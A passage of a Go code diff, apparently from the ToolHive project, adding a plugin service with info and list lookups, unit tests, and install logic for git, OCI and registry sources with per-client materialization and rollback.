bytes into a PluginManifest, +// applying the same strictness checks as ParsePluginManifest. Split out for +// callers (e.g. the git install flow) that already hold the manifest bytes +// rather than a directory on disk. +func ParsePluginManifestFromBytes(content []byte) (*PluginManifest, error) { + return parseManifestBytes(content) +} + // parseManifestBytes parses manifest bytes into a PluginManifest, applying the // strictness checks. Split from ParsePluginManifest for testability. func parseManifestBytes(content []byte) (*PluginManifest, error) { diff --git a/pkg/plugins/pluginsvc/info.go b/pkg/plugins/pluginsvc/info.go new file mode 100644 index 0000000000..2c8241bc7e --- /dev/null +++ b/pkg/plugins/pluginsvc/info.go @@ -0,0 +1,95 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "net/http" + "slices" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// Info returns detailed information about an installed plugin, including the +// per-client set of component types the plugin declares that the installed +// client adapter does NOT load (UnmaterializedComponents). +func (s *service) Info(ctx context.Context, opts plugins.InfoOptions) (*plugins.PluginInfo, error) { + if err := plugins.ValidatePluginName(opts.Name); err != nil { + return nil, httperr.WithCode(err, http.StatusBadRequest) + } + + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return nil, err + } + scope = defaultScope(scope) + + stored, err := s.store.Get(ctx, opts.Name, scope, projectRoot) + if err != nil { + return nil, err + } + + degraded := s.computeProjectScopeDegraded(stored) + return &plugins.PluginInfo{ + Metadata: stored.Metadata, + InstalledPlugin: &stored, + UnmaterializedComponents: s.computeUnmaterialized(stored), + ProjectScopeDegradedClients: degraded, + }, nil +} + +// computeProjectScopeDegraded returns the client types for which a +// project-scoped install degraded. A client degrades iff the install is +// project-scoped AND its adapter reports ScopeSupport.DegradesOnProjectScope. +// Empty for user-scoped installs. Recomputed at read time (deterministic from +// scope + adapter capability); no persistence needed. +func (s *service) computeProjectScopeDegraded(p plugins.InstalledPlugin) []string { + if p.Scope != plugins.ScopeProject { + return nil + } + var degraded []string + for _, ct := range p.Clients { + adapter, ok := s.materializers[ct] + if !ok { + continue + } + if adapter.ScopeSupport().DegradesOnProjectScope { + degraded = append(degraded, ct) + } + } + return degraded +} + +// computeUnmaterialized diffs the plugin's declared Components against each +// installed client adapter's SupportedComponents. For each client, the result +// lists component types the plugin declares that the adapter does NOT load. +func (s *service) computeUnmaterialized(p plugins.InstalledPlugin) map[string][]plugins.ComponentType { + if len(p.Components) == 0 || len(s.materializers) == 0 { + return nil + } + out := make(map[string][]plugins.ComponentType, len(p.Clients)) + for _, ct := range p.Clients { + adapter, ok := s.materializers[ct] + if !ok { + continue + } + supported := adapter.SupportedComponents() + var dropped []plugins.ComponentType + for componentType := range p.Components { + ct := plugins.ComponentType(componentType) + if !slices.Contains(supported, ct) { + dropped = append(dropped, ct) + } + } + if len(dropped) > 0 { + slices.Sort(dropped) + out[ct] = dropped + } + } + if len(out) == 0 { + return nil + } + return out +} diff --git a/pkg/plugins/pluginsvc/info_test.go b/pkg/plugins/pluginsvc/info_test.go new file mode 100644 index 0000000000..eca142a391 --- /dev/null +++ b/pkg/plugins/pluginsvc/info_test.go @@ -0,0 +1,236 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "errors" + "net/http" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/storage" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestInfo(t *testing.T) { + t.Parallel() + + t.Run("returns metadata and unmaterialized components", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + Components: plugins.ComponentInventory{"commands": 2, "agents": 1, "skills": 3}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(stored, nil) + // claude-code supports commands+agents but not skills → skills dropped. + adapter.EXPECT().SupportedComponents().Return([]plugins.ComponentType{ + plugins.ComponentCommands, plugins.ComponentAgents, + }) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin"}) + require.NoError(t, err) + assert.Equal(t, "my-plugin", info.Metadata.Name) + require.NotNil(t, info.InstalledPlugin) + require.Contains(t, info.UnmaterializedComponents, "claude-code") + assert.Equal(t, []plugins.ComponentType{plugins.ComponentSkills}, info.UnmaterializedComponents["claude-code"]) + }) + + t.Run("no unmaterialized when adapter supports all", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + Components: plugins.ComponentInventory{"commands": 1}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(stored, nil) + adapter.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentCommands}) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin"}) + require.NoError(t, err) + assert.Nil(t, info.UnmaterializedComponents) + }) + + t.Run("not found returns error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().Get(gomock.Any(), "missing", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "missing"}) + require.Error(t, err) + assert.ErrorIs(t, err, storage.ErrNotFound) + }) + + t.Run("invalid name returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + _, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "A"}) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("project-scope degradation surfaced for degrading client", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + // codex degrades on project scope; claude-code does not. + codex := plugmocks.NewMockMaterializationAdapter(ctrl) + claude := plugmocks.NewMockMaterializationAdapter(ctrl) + + projectRoot := makeProjectRoot(t) + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Scope: plugins.ScopeProject, + Clients: []string{"codex", "claude-code"}, + Components: plugins.ComponentInventory{"skills": 1}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeProject, projectRoot).Return(stored, nil) + // SupportedComponents is called for the UnmaterializedComponents diff. + codex.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentSkills}) + claude.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentSkills}) + codex.EXPECT().ScopeSupport().Return(plugins.ScopeSupport{DegradesOnProjectScope: true}) + claude.EXPECT().ScopeSupport().Return(plugins.ScopeSupport{}) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{ + "codex": codex, + "claude-code": claude, + })) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin", Scope: plugins.ScopeProject, ProjectRoot: projectRoot}) + require.NoError(t, err) + // Only codex degrades. + assert.Equal(t, []string{"codex"}, info.ProjectScopeDegradedClients) + }) + + t.Run("user-scope install has no degraded clients", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + codex := plugmocks.NewMockMaterializationAdapter(ctrl) + + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Scope: plugins.ScopeUser, + Clients: []string{"codex"}, + Components: plugins.ComponentInventory{"skills": 1}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(stored, nil) + codex.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentSkills}) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"codex": codex})) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin"}) + require.NoError(t, err) + assert.Empty(t, info.ProjectScopeDegradedClients) + }) +} + +func TestList(t *testing.T) { + t.Parallel() + + t.Run("group filter uses group.Plugins", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + gm := groupmocks.NewMockManager(ctrl) + gm.EXPECT().Get(gomock.Any(), "mygroup").Return(&groups.Group{ + Name: "mygroup", + Plugins: []string{"in-group"}, + }, nil) + + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "in-group"}}, + {Metadata: plugins.PluginMetadata{Name: "out-group"}}, + }, nil) + + svc := newTestService(WithStore(store), WithGroupManager(gm)) + listed, err := svc.List(t.Context(), plugins.ListOptions{Group: "mygroup"}) + require.NoError(t, err) + require.Len(t, listed, 1) + assert.Equal(t, "in-group", listed[0].Metadata.Name) + }) + + t.Run("no group filter returns all", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "a"}}, + {Metadata: plugins.PluginMetadata{Name: "b"}}, + }, nil) + + svc := newTestService(WithStore(store)) + listed, err := svc.List(t.Context(), plugins.ListOptions{}) + require.NoError(t, err) + assert.Len(t, listed, 2) + }) + + t.Run("group filter with nil group manager returns 500", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + // No WithGroupManager — group manager is nil. + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "a"}}, + }, nil) + + svc := newTestService(WithStore(store)) + _, err := svc.List(t.Context(), plugins.ListOptions{Group: "mygroup"}) + require.Error(t, err) + assert.Equal(t, http.StatusInternalServerError, httperr.Code(err)) + }) + + t.Run("store List error propagates", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().List(gomock.Any(), gomock.Any()).Return(nil, errors.New("db down")) + + svc := newTestService(WithStore(store)) + _, err := svc.List(t.Context(), plugins.ListOptions{}) + require.Error(t, err) + assert.Contains(t, err.Error(), "db down") + }) + + t.Run("group manager Get error propagates", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + gm := groupmocks.NewMockManager(ctrl) + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "a"}}, + }, nil) + gm.EXPECT().Get(gomock.Any(), "mygroup").Return(nil, errors.New("etcd unavailable")) + + svc := newTestService(WithStore(store), WithGroupManager(gm)) + _, err := svc.List(t.Context(), plugins.ListOptions{Group: "mygroup"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "getting group") + }) +} diff --git a/pkg/plugins/pluginsvc/install.go b/pkg/plugins/pluginsvc/install.go new file mode 100644 index 0000000000..122707c91e --- /dev/null +++ b/pkg/plugins/pluginsvc/install.go @@ -0,0 +1,188 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "log/slog" + "net/http" + "strings" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills/gitresolver" +) + +// Install installs a plugin. When the Name field contains a git reference +// (git://...), the repo is cloned and the plugin tree is built in memory. When +// it contains an OCI reference, the artifact is pulled and extracted. A plain +// name is resolved against the local OCI store, then the registry lookup. +// Mirror of skillsvc.Install, substituting the plugin install backends. +func (s *service) Install(ctx context.Context, opts plugins.InstallOptions) (*plugins.InstallResult, error) { + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return nil, err + } + scope = defaultScope(scope) + opts.ProjectRoot = projectRoot + + // Git references are dispatched first; the prefix is unambiguous and + // cannot collide with OCI references. + if gitresolver.IsGitReference(opts.Name) { + result, err := s.installFromGit(ctx, opts, scope) + if err != nil { + return nil, err + } + return s.installAndRegister(ctx, result, opts.Group, result.Plugin.Metadata.Name, scope, opts.ProjectRoot) + } + + // Splice opts.Version as the tag for tag-less OCI-like references. + if opts.Version != "" && + strings.ContainsRune(opts.Name, '/') && + !strings.ContainsAny(opts.Name, ":@") { + opts.Name = opts.Name + ":" + opts.Version + } + + ref, isOCI, err := parseOCIReference(opts.Name) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("invalid OCI reference %q: %w", opts.Name, err), + http.StatusBadRequest, + ) + } + if isOCI { + result, ociErr := s.installFromOCI(ctx, opts, scope, ref) + if ociErr == nil { + return s.installAndRegister(ctx, result, opts.Group, result.Plugin.Metadata.Name, scope, opts.ProjectRoot) + } + // No registry-name fallback yet (Phase-3 later wave); surface the + // OCI pull error directly. + return nil, ociErr + } + + // Plain plugin name. + if err := plugins.ValidatePluginName(opts.Name); err != nil { + return nil, httperr.WithCode(err, http.StatusBadRequest) + } + + return s.installByName(ctx, opts, scope) +} + +// installByName handles installation for a validated plain plugin name. It +// checks the local OCI store, then the registry lookup, before returning an +// error. Mirror of skillsvc.installByName. +func (s *service) installByName( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, +) (*plugins.InstallResult, error) { + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + locked := true + defer func() { + if locked { + unlock() + } + }() + + if len(opts.LayerData) == 0 { + resolved := false + if s.ociStore != nil { + var resolveErr error + resolved, resolveErr = s.resolveFromLocalStore(ctx, &opts) + if resolveErr != nil { + return nil, resolveErr + } + } + if !resolved { + // Release the lock before registry lookup — installFromOCI + // acquires its own lock on the plugin name, which could be the + // same key, causing deadlock since sync.Mutex is not re-entrant. + unlock() + locked = false + return s.installFromRegistryLookup(ctx, opts, scope) + } + } + + result, err := s.installWithExtraction(ctx, opts, scope) + if err != nil { + return nil, err + } + return s.installAndRegister(ctx, result, opts.Group, opts.Name, scope, opts.ProjectRoot) +} + +// installFromRegistryLookup resolves a plain plugin name via the registry +// lookup and dispatches to the appropriate installer. When no lookup is +// configured or it returns no hits, returns a 404 with an install hint. +func (s *service) installFromRegistryLookup( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, +) (*plugins.InstallResult, error) { + if s.pluginLookup != nil { + hits, err := s.pluginLookup.SearchPlugins(ctx, opts.Name) + if err != nil { + return nil, fmt.Errorf("searching registry for plugin %q: %w", opts.Name, err) + } + if len(hits) > 0 && len(hits[0].Packages) > 0 { + pkg := hits[0].Packages[0] + slog.Info("resolved plugin from registry", "name", opts.Name, "reference", pkg.Reference) + opts.Name = pkg.Reference + ref, _, parseErr := parseOCIReference(pkg.Reference) + if parseErr != nil { + return nil, httperr.WithCode( + fmt.Errorf("registry returned invalid OCI reference %q: %w", pkg.Reference, parseErr), + http.StatusUnprocessableEntity, + ) + } + result, ociErr := s.installFromOCI(ctx, opts, scope, ref) + if ociErr != nil { + return nil, ociErr + } + return s.installAndRegister(ctx, result, opts.Group, result.Plugin.Metadata.Name, scope, opts.ProjectRoot) + } + } + + return nil, httperr.WithCode( + fmt.Errorf("plugin %q not found in local store or registry;"+ + " install by OCI reference:\n thv plugin install ghcr.io//%s:", + opts.Name, opts.Name), + http.StatusNotFound, + ) +} + +// registerPluginInGroup adds the plugin to the requested group when a group +// manager is configured. When groupName is empty it defaults to the "default" +// group, matching workload behavior. +func (s *service) registerPluginInGroup(ctx context.Context, groupName string, pluginName string) error { + if s.groupManager == nil { + return nil + } + if groupName == "" { + groupName = groups.DefaultGroup + } + return groups.AddPluginToGroup(ctx, s.groupManager, groupName, pluginName) +} + +// installAndRegister registers the just-installed plugin in the target group. +// If group registration fails, the DB record is rolled back so a retry starts +// fresh. Mirror of skillsvc.installAndRegister. +func (s *service) installAndRegister( + ctx context.Context, + result *plugins.InstallResult, + groupName string, + pluginName string, + scope plugins.Scope, + projectRoot string, +) (*plugins.InstallResult, error) { + if err := s.registerPluginInGroup(ctx, groupName, pluginName); err != nil { + // Best-effort rollback: remove the DB record so retries start fresh. + // Materialized files are left in place; a fresh install will overwrite + // them (the adapters are idempotent under the same name/scope). + _ = s.store.Delete(ctx, pluginName, scope, projectRoot) + return nil, fmt.Errorf("registering plugin in group: %w", err) + } + return result, nil +} diff --git a/pkg/plugins/pluginsvc/install_extraction.go b/pkg/plugins/pluginsvc/install_extraction.go new file mode 100644 index 0000000000..0e73395dc6 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_extraction.go @@ -0,0 +1,356 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "errors" + "fmt" + "net/http" + "slices" + "strings" + "time" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" +) + +// clientsAllSentinel is the reserved value that expands to all +// plugin-supporting clients. Mirror of skillsvc.clientsAllSentinel. +const clientsAllSentinel = "all" + +// installWithExtraction handles the full plugin install flow: client resolution, +// per-client materialization, and DB record creation or update. It is the +// plugin analogue of skillsvc.installWithExtraction, substituting +// MaterializationAdapter.Materialize for skills.Installer.Extract. +func (s *service) installWithExtraction( + ctx context.Context, opts plugins.InstallOptions, scope plugins.Scope, +) (*plugins.InstallResult, error) { + clientTypes, err := s.resolveAndValidateClients(opts, scope) + if err != nil { + return nil, err + } + + existing, storeErr := s.store.Get(ctx, opts.Name, scope, opts.ProjectRoot) + isNotFound := errors.Is(storeErr, storage.ErrNotFound) + if storeErr != nil && !isNotFound { + return nil, fmt.Errorf("checking existing plugin: %w", storeErr) + } + + if isExtractionNoOp(existing, storeErr, opts, clientTypes) { + return &plugins.InstallResult{Plugin: existing}, nil + } + + digestMatches := storeErr == nil && existing.Digest == opts.Digest + if digestMatches { + return s.installExtractionSameDigestNewClients(ctx, opts, scope, existing, clientTypes) + } + if storeErr == nil { + return s.installExtractionUpgradeDigest(ctx, opts, scope, existing, clientTypes) + } + return s.installExtractionFresh(ctx, opts, scope, clientTypes) +} + +// isExtractionNoOp reports whether the install can be short-circuited because +// the same digest and all requested clients are already present. Mirror of +// skillsvc.isExtractionNoOp. +func isExtractionNoOp(existing plugins.InstalledPlugin, storeErr error, opts plugins.InstallOptions, clientTypes []string) bool { + if storeErr != nil || existing.Digest != opts.Digest { + return false + } + if clientsContainAll(existing.Clients, clientTypes) { + return true + } + return len(existing.Clients) == 0 && len(clientTypes) <= 1 && len(opts.Clients) == 0 +} + +// installExtractionSameDigestNewClients materializes the plugin for clients +// not already present at the same digest, then updates the DB record. +func (s *service) installExtractionSameDigestNewClients( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + existing plugins.InstalledPlugin, + clientTypes []string, +) (*plugins.InstallResult, error) { + toWrite := missingClients(existing.Clients, clientTypes) + if len(toWrite) == 0 { + return &plugins.InstallResult{Plugin: existing}, nil + } + materialized, err := s.materializeForClients(ctx, opts, scope, toWrite) + if err != nil { + return nil, err + } + pl := buildInstalledPlugin(opts, scope, clientTypes, existing.Clients) + if err := s.store.Update(ctx, pl); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, err + } + return &plugins.InstallResult{Plugin: pl}, nil +} + +// installExtractionUpgradeDigest re-materializes the plugin for the union of +// requested and existing clients (upgrades write to every client), then updates +// the DB record. +func (s *service) installExtractionUpgradeDigest( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + existing plugins.InstalledPlugin, + clientTypes []string, +) (*plugins.InstallResult, error) { + allClients := mergeClientLists(existing.Clients, clientTypes) + materialized, err := s.materializeForClients(ctx, opts, scope, allClients) + if err != nil { + return nil, err + } + pl := buildInstalledPlugin(opts, scope, allClients, nil) + if err := s.store.Update(ctx, pl); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, err + } + return &plugins.InstallResult{Plugin: pl}, nil +} + +// installExtractionFresh materializes the plugin for all requested clients, +// then creates the DB record. +func (s *service) installExtractionFresh( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + clientTypes []string, +) (*plugins.InstallResult, error) { + materialized, err := s.materializeForClients(ctx, opts, scope, clientTypes) + if err != nil { + return nil, err + } + pl := buildInstalledPlugin(opts, scope, clientTypes, nil) + if err := s.store.Create(ctx, pl); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, err + } + return &plugins.InstallResult{Plugin: pl}, nil +} + +// materializeForClients calls Materialize for each requested client type, +// rolling back (Dematerialize) any already-materialized client on failure. +// Returns the list of client types that were successfully materialized. +func (s *service) materializeForClients( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + clientTypes []string, +) ([]string, error) { + var materialized []string + for _, ct := range clientTypes { + adapter, ok := s.materializers[ct] + if !ok { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, httperr.WithCode( + fmt.Errorf("no materializer configured for client %q", ct), + http.StatusInternalServerError, + ) + } + if _, err := adapter.Materialize(ctx, plugins.MaterializeRequest{ + Name: opts.Name, + LayerData: opts.LayerData, + Scope: scope, + ProjectRoot: opts.ProjectRoot, + Components: opts.Components, + }); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, fmt.Errorf("materializing plugin for client %q: %w", ct, err) + } + materialized = append(materialized, ct) + } + return materialized, nil +} + +// dematerializeAll best-effort reverts materializations performed in this call. +// Errors are joined so a partial rollback still surfaces; the original install +// error is returned to the caller separately. +func (s *service) dematerializeAll( + ctx context.Context, + clientTypes []string, + name string, + scope plugins.Scope, + projectRoot string, +) { + for _, ct := range clientTypes { + if adapter, ok := s.materializers[ct]; ok { + _ = adapter.Dematerialize(ctx, plugins.DematerializeRequest{ + Name: name, + Scope: scope, + ProjectRoot: projectRoot, + }) + } + } +} + +// resolveAndValidateClients returns the deduplicated client list to target for +// this install. Empty opts.Clients (or the sentinel value "all") expands to +// every client present in s.materializers (additionally filtered by +// cm.SupportsPlugins when a client manager is configured). Explicit client +// names are validated to be present in s.materializers. +// +// Unlike skillsvc.resolveAndValidateClients, this does NOT resolve filesystem +// paths — the MaterializationAdapter owns path resolution, so the caller +// receives only the client-type list, not a client→dir map. +func (s *service) resolveAndValidateClients( + opts plugins.InstallOptions, + _ plugins.Scope, +) ([]string, error) { + var requested []string + switch { + case len(opts.Clients) == 0 || (len(opts.Clients) == 1 && strings.EqualFold(opts.Clients[0], clientsAllSentinel)): + available := s.availableMaterializerClients() + if len(available) == 0 { + return nil, httperr.WithCode( + errors.New("no supported clients detected on this system; "+ + "use --clients to target a specific client explicitly"), + http.StatusBadRequest, + ) + } + requested = available + default: + for _, c := range opts.Clients { + if c == "" { + return nil, httperr.WithCode( + errors.New("clients entries must be non-empty strings"), + http.StatusBadRequest, + ) + } + if strings.EqualFold(c, clientsAllSentinel) { + return nil, httperr.WithCode( + fmt.Errorf("%q cannot be combined with other client names", clientsAllSentinel), + http.StatusBadRequest, + ) + } + } + requested = dedupeStringsPreserveOrder(opts.Clients) + } + + // Validate each requested client has a configured materializer. When a + // client manager is available, also reject clients it does not consider + // plugin-supporting (defense in depth — the materializers map is the + // source of truth, but cm catches misconfiguration). + for _, ct := range requested { + if _, ok := s.materializers[ct]; !ok { + return nil, httperr.WithCode( + fmt.Errorf("invalid client %q: no materializer configured", ct), + http.StatusBadRequest, + ) + } + if s.clientManager != nil && !s.clientManager.SupportsPlugins(client.ClientApp(ct)) { + return nil, httperr.WithCode( + fmt.Errorf("invalid client %q: %w", ct, client.ErrPluginsNotSupported), + http.StatusBadRequest, + ) + } + } + return requested, nil +} + +// availableMaterializerClients returns the sorted list of client types that +// have a configured materializer and (when a client manager is set) are +// considered plugin-supporting by it. +func (s *service) availableMaterializerClients() []string { + var out []string + for ct := range s.materializers { + if s.clientManager != nil && !s.clientManager.SupportsPlugins(client.ClientApp(ct)) { + continue + } + out = append(out, ct) + } + slices.Sort(out) + return out +} + +// buildInstalledPlugin constructs an InstalledPlugin from install options. +// requestedClientTypes is merged with existingClients for the persisted Clients +// field. Mirror of skillsvc.buildInstalledSkill, substituting plugin types and +// carrying through Components/Dependencies/Tag/Signature. +func buildInstalledPlugin( + opts plugins.InstallOptions, + scope plugins.Scope, + requestedClientTypes []string, + existingClients []string, +) plugins.InstalledPlugin { + clients := mergeClientLists(existingClients, requestedClientTypes) + return plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{ + Name: opts.Name, + Version: opts.Version, + Description: opts.Description, + }, + Scope: scope, + ProjectRoot: opts.ProjectRoot, + Reference: opts.Reference, + Tag: opts.Tag, + Digest: opts.Digest, + Status: plugins.InstallStatusInstalled, + InstalledAt: time.Now().UTC(), + Clients: clients, + Components: opts.Components, + Dependencies: opts.Dependencies, + } +} + +// dedupeStringsPreserveOrder returns the input slice with duplicates removed, +// preserving first-seen order. Mirror of skillsvc.dedupeStringsPreserveOrder. +func dedupeStringsPreserveOrder(in []string) []string { + seen := make(map[string]struct{}, len(in)) + out := make([]string, 0, len(in)) + for _, s := range in { + if _, ok := seen[s]; ok { + continue + } + seen[s] = struct{}{} + out = append(out, s) + } + return out +} + +// clientsContainAll reports whether every value in requested appears in existing. +func clientsContainAll(existing, requested []string) bool { + for _, r := range requested { + if !slices.Contains(existing, r) { + return false + } + } + return true +} + +// mergeClientLists returns existing followed by any requested entries not already present. +func mergeClientLists(existing, requested []string) []string { + out := make([]string, len(existing)) + copy(out, existing) + seen := make(map[string]struct{}, len(existing)+len(requested)) + for _, c := range existing { + seen[c] = struct{}{} + } + for _, c := range requested { + if _, ok := seen[c]; ok { + continue + } + seen[c] = struct{}{} + out = append(out, c) + } + if len(out) == 0 { + return nil + } + return out +} + +func missingClients(existing, requested []string) []string { + var out []string + for _, ct := range requested { + if !slices.Contains(existing, ct) { + out = append(out, ct) + } + } + return out +} diff --git a/pkg/plugins/pluginsvc/install_git.go b/pkg/plugins/pluginsvc/install_git.go new file mode 100644 index 0000000000..3712477001 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_git.go @@ -0,0 +1,251 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + "path" + + "github.com/go-git/go-git/v5/plumbing/object" + + "github.com/stacklok/toolhive-core/httperr" + ociartifact "github.com/stacklok/toolhive-core/oci/artifact" + "github.com/stacklok/toolhive/pkg/git" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills/gitresolver" +) + +// installFromGit clones a git repository, reads the plugin manifest, collects +// the plugin file tree, builds an in-memory tar.gz layer, and delegates to +// installWithExtraction. The digest is the git commit hash, enabling same-commit +// no-op and upgrade detection. +// +// Unlike skillsvc.installFromGit, this does NOT call gitResolver.Resolve +// (which is skill-specific: it reads SKILL.md). Instead it replicates the +// clone+collect flow and reads .claude-plugin/plugin.json via +// plugins.ParsePluginManifest. +func (s *service) installFromGit( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, +) (*plugins.InstallResult, error) { + if len(s.materializers) == 0 { + return nil, httperr.WithCode( + fmt.Errorf("no materializers configured for plugin installs"), + http.StatusInternalServerError, + ) + } + + gitRef, err := gitresolver.ParseGitReference(opts.Name) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("invalid git reference: %w", err), + http.StatusBadRequest, + ) + } + + gitURL := opts.Name + + files, manifest, commitHash, err := s.cloneAndCollectPlugin(ctx, gitRef) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("resolving git plugin: %w", err), + http.StatusBadGateway, + ) + } + + if err := plugins.ValidatePluginName(manifest.Name); err != nil { + return nil, httperr.WithCode( + fmt.Errorf("plugin contains invalid name: %w", err), + http.StatusUnprocessableEntity, + ) + } + + // Name/repo consistency check (mirrors the OCI check in installFromOCI): + // the manifest name must match the name implied by the git reference — + // the subdir's last segment when #subdir is present, else the repo's + // last segment. 422 on mismatch. + if err := validateGitPluginName(manifest.Name, gitRef); err != nil { + return nil, err + } + + // Build the in-memory tar.gz layer from the collected file tree. This + // matches the OCI artifact layer shape so the 